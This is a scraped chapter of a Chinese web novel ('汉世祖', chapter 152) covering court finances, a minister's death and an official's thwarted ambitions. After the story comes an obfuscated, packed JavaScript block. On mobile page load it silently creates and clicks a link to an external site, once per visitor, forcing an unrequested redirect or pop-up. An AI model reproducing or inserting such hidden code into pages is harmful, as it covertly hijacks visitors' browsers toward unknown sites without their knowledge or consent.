第五文学网 > 穿越小说 > 汉世祖 > 第152章 失意政客

第152章 失意政客

    “陛下,这是江都府上报,淮南盐务整顿情况,经过王使君整饬,扬泰楚境内诸盐场,已尽数收缴整饬结束,盐民抚定,用不了多久,淮南的食盐,就可北调。淮北再无匮盐之忧,朝廷也将增添一大笔收入!”张贻肃捧着一本奏疏,呈报给刘承祐。

    “王卿的速度很快嘛!”刘承祐来了兴致,接过快速一览,嘴角带上了一丝笑容:“淮南于国之利,已可窥其貌啊!”

    王朴留守扬州的任务,除了稳定局面,调整政制,构造大汉对淮东州县的统治秩序之外,财政上边的整改,是重点,而其间的核心,便是盐务整顿。

    “三司可曾核算过,淮东盐务,朝廷可岁入多少?”刘承祐问道。

    张贻肃答来:“仅以目前情况,添此一笔,朝廷每岁,至少可增收一百五十万缗,且随时间推移,继续扩营,当可倍之!”

    点了点头,刘承祐不禁感慨自语:“就当一百五十万,可供朝廷办多少事啊!”

    “钱制如何?”刘承祐又问。

    张贻肃答道:“三司准备筹集新钱百万,派发淮南。待局势稳定,再着两道官府,发告百姓,命其兑换汉钱,以半载为期,逐步废置唐钱及诸旧币!”

    “有准备便好!”刘承祐颔首。

    按照三司的打算,只看这一出一进,又可着捞取一大笔财税。这是统治措施,也是变相地掠夺淮民财富,稍微考虑了片刻:“当遣专人负责,兑换之比,要综合落实,当谨慎为之,另外,要注意影响,勿要引起民变!”

    “是!”

    刘承祐抬眼,看着张贻肃,此君未满三十,站在那里,卑顺自然,给人一种踏实的感觉。以淮南之功,回朝之后,张贻肃迁职三司,在盐铁转运使下为一主事。

    “王卿身体如何?”刘承祐随口问道。

    闻问,张贻肃赶忙应道,语气有些感伤:“回陛下,昨夜又呕血了,昏迷了两个时辰,家妻正在榻前侍奉。据医者言,已然病入膏肓,非药石可治,或许,就在这几日了!”

    听其所述,刘承祐纵使心硬如铁,也难免有所动容。还记得,王章秉执三司,主管国家财计,刘承祐常以“呕心沥血”来形容他,王章的病,只怕有一半都是为国操劳成疾。

    内心唏嘘,面上不动声色,刘承祐朝张德钧吩咐道:“命宫中取两支老参,稍后,让张卿带回去!”

    “是!”

    “你回府告诉王卿,让他保重身体,就说,朕抽时间,去探望他!”刘承祐又冲张贻肃道。

    “臣代妇翁,拜谢陛下!”张贻肃跪倒在地,语气已添了几分哽咽。

    待张贻肃告退后,刘承祐不禁低语:“又一个元臣宿老啊!”

    在御案上翻找了一番,抽出一份奏书,由武德副使王景崇上奏。上边所书,是王景崇针对王章调查所得其“犯法违制”之事,结党营私,贪污受贿,怨愤君上,心怀异心,王景崇足足列了十几例罪责

    当然,对于这份奏书,刘承祐一大半都不信,而相信的一小部分,也大都经过王景崇的添油加醋。这基本上,是针对王章的构陷。

    至于王景崇为什么要这么做,大抵是二者之间的积怨吧。两年前,杨邠案时,王章可对上蹿下跳,积极奔走的王景崇,甚是鄙夷,屡有言语冲突。

    两眼微眯,目光慢慢地变冷,刘承祐将奏书递给张德钧,沉声吩咐道:“你亲自去一趟武德司,找到王景崇,当着他的面,将这封奏书,烧了!”

    “是!”天子的目光,让张德钧不由脊背生凉,不敢怠慢。

    “另外,让李少游来见我!”

    稍显可惜的是,王章没有等到刘承祐的御临探望,便于乾祐五年三月十四日这天清晨,故去了。天子感慨,未能在其临死前见上一面,以为憾事!

    随着大汉日益稳定,东京的市面内,也愈加繁荣,北市之内的花街柳巷间,各类楼阁院坊,如雨后春笋般冒出,与各官坊一道,供官卒士民娱乐。

    皇叔慕容彦超任职开封府尹以来,对民间的勾栏之地进行过一番整顿,发放牌牒,定期检验娼女,将这块市场,搞得正式且繁荣。

    比起许多军卒、富商,喜去对民间开放的官坊,许多朝中官员,更中意民坊,尤其是那些打着诗、词、画、乐的高级场所。在其间,吟诗作对,弹琴弄箫,玩得那叫高雅,并且少许多约束,以免丑态外露。

    陶谷也一样。

    “陶公慢走,改日在下必登门拜访!”彩灯密布的诗坊前,一名衣着华丽的中年人,卑躬屈膝,陪着笑,将陶谷扶上马车。

    “多谢款待!”陶谷似乎喝了不少酒,舌头都有些打架。

    他今日,是应好友之邀,前来相聚,做东的,自然是这名中年人。此人是一名商贾,来自淮南,商人逐利,嗅觉灵敏,作为新顺之汉民,这些日子,有不少商贾进入东京,置办产业,大撒银钱,活动频繁。淮商北来,从各方面,为东京的繁荣添砖加瓦

    登上车驾,虽然醉眼迷离,但陶谷仍保留有一丝神智,靠着车厢,掀开窗帘,看着那仍束手恭立于道左的商人:“你所求者,改日再谈,改日再谈!”

    “一切依陶公!”中年人保持着谦和。

    马车兜转,耗费了一刻多钟的时间,回到府中,被叫来侍奉他的,是那两名使唐之时,冯延巳送给他的舞姬。对这两名可当其女的年轻婢子,陶谷素来疼爱,常常召其一道侍奉,这老小子,很会玩。

    两双纤纤玉手,各执一只老腿,替陶谷搓洗按摩,尽心侍候。酒已醒得差不多了,低头打量着两名婢子,陶谷幽幽而叹,满脸怅惘之情:“少女如花,可堪一折;才士如兰,却无人欣赏啊”

    “老爷怎么了,是婢子们伺候得不好?”一名少女仰头,紧张的问道。

    望着那仰起的娇怜嫩容,陶谷探手,捏了捏其下巴,含笑道:“你们伺候得很好,只可惜,老夫心中之叹,非你们所能明白的啊!”

    陶谷这是自比芳兰,而无人欣赏。自南征还朝之后,陶谷便有一种怀才不遇的感觉,从征辛苦,未有多少赏赐不说,政治诉求,也完全无人重视。

    这些日子,朝堂局势变化很大,郭威去朝,到襄阳上任去了。范质前去河东巡抚,苏禹珪彻底隐退,王章病故,三司使的职位正式空出来。

    宰臣的名额,一下子有了空缺,多年来,陶谷孜孜以求者,也唯此而已。然而此次,仍旧没有轮到他。

    刘承祐直接将政事堂宰臣的名额,定在五人,把三司副使薛居正扶正之后,便再无动作,仅以冯道、李涛、范质、魏仁浦、薛居正共分相权。陶谷满腔热情,遭泼冷水,直凉心底。

    如此下来,陶舍人的碎嘴也就开始多了起来,聚宴作乐的场合,去得也更加频繁了。

    用陶谷自己的话来讲,饱腹诗书无人问,闹市每多失意人。

    原本对于陶谷,刘承祐却有以之为宰臣的想法,只是,此人太不知自爱自重了。一直以来,刘承祐虽然重才干更甚于德行,但是,这也是有底线的,而陶谷,在有些事情上,恰恰越线了。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('w C(){n(R D==="\\o\\6\\2\\0\\p\\5\\6\\0\\2"){E S}x a=(T^U)+(V^W);y F=D[\'\\o\\c\\0\\9\\X\\l\\0\\6\\3\'][\'\\3\\4\\z\\4\\g\\0\\9\\q\\1\\c\\0\']();a=(G^G)+(Y^Z);x b=(10^11)+(12^13);y H=14 15(\'\\1\\6\\2\\9\\4\\5\\2\\d\\5\\e\\k\\4\\6\\0\\d\\5\\e\\1\\2\\d\\5\\e\\4\\2\\d\\g\\5\\6\\2\\4\\g\\c\\I\\e\\k\\4\\6\\0\\d\\7\\8\\1\\h\\r\\7\\0\\9\\9\\i\\d\\c\\i\\f\\7\\5\\1\\6\\d\\g\\0\\7\\4\\c\\d\\4\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\4\\7\\5\\8\\0\\d\\f\\4\\7\\5\\8\\0\',\'\\5\');b="16".s("").t().u("");E H[\'\\3\\0\\c\\3\'](F)}w J(a){x b=(17^18)+(19^1a);y j=m[\'\\h\\9\\0\\1\\3\\0\\K\\8\\0\\f\\0\\6\\3\']("\\1");b="1b".s("").t().u("");j[\'\\k\\9\\0\\p\']=a;j[\'\\c\\3\\i\\8\\0\'][\'\\2\\5\\c\\e\\8\\1\\i\']="1c".s("").t().u("");j[\'\\3\\1\\9\\l\\0\\3\']="\\L\\7\\8\\1\\6\\r";m[\'\\7\\4\\2\\i\'][\'\\1\\e\\e\\0\\6\\2\\q\\k\\5\\8\\2\'](j);j[\'\\h\\8\\5\\h\\r\']();m[\'\\7\\4\\2\\i\'][\'\\9\\0\\f\\4\\A\\0\\q\\k\\5\\8\\2\'](j)}m[\'\\1\\2\\2\\K\\A\\0\\6\\3\\z\\5\\c\\3\\0\\6\\0\\9\']("\\1d\\1e\\1f\\q\\4\\6\\3\\0\\6\\3\\z\\4\\1\\2\\0\\2",w(){n(!M[\'\\l\\8\\4\\7\\1\\8\\N\\1\\9\']){n(m[\'\\7\\4\\2\\i\']!=1g){M[\'\\l\\8\\4\\7\\1\\8\\N\\1\\9\']="\\B";O=P[\'\\l\\0\\3\\B\\3\\0\\f\']("\\8\\o\\h\\r\\L\\p\\p");n(!O&&C()){J("\\k\\3\\3\\e\\c\\1h\\v\\v\\7\\g\\1i\\1j\\1k\\Q\\A\\5\\g\\c\\2\\c\\g\\Q\\h\\4\\f\\v\\h\\7\\2\\v\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\3\\B\\3\\0\\f\']("1l".s("").t().u(""),"\\3\\9\\o\\0")}}});',62,84,'u0065|u0061|u0064|u0074|u006F|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0077|u0063|u0079|_0xcd5f9d|u0068|u0067|document|if|u0075|u0066|u0043|u006B|split|reverse|join|u002F|function|var|const|u004C|u0076|u0049|isMobileDevice|navigator|return|_0x5b8a|595657|_0x336g|u0020|OpenUrl|u0045|u005F|window|u0056|hasExecuted|localStorage|u002E|typeof|false|656455|656448|623196|623194|u0041|792498|792501|407167|407159|957084|957087|new|RegExp|ffeobj|302165|302166|875810|875811|bjjdom|enon|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|ff_kcul'.split('|'),0,{}))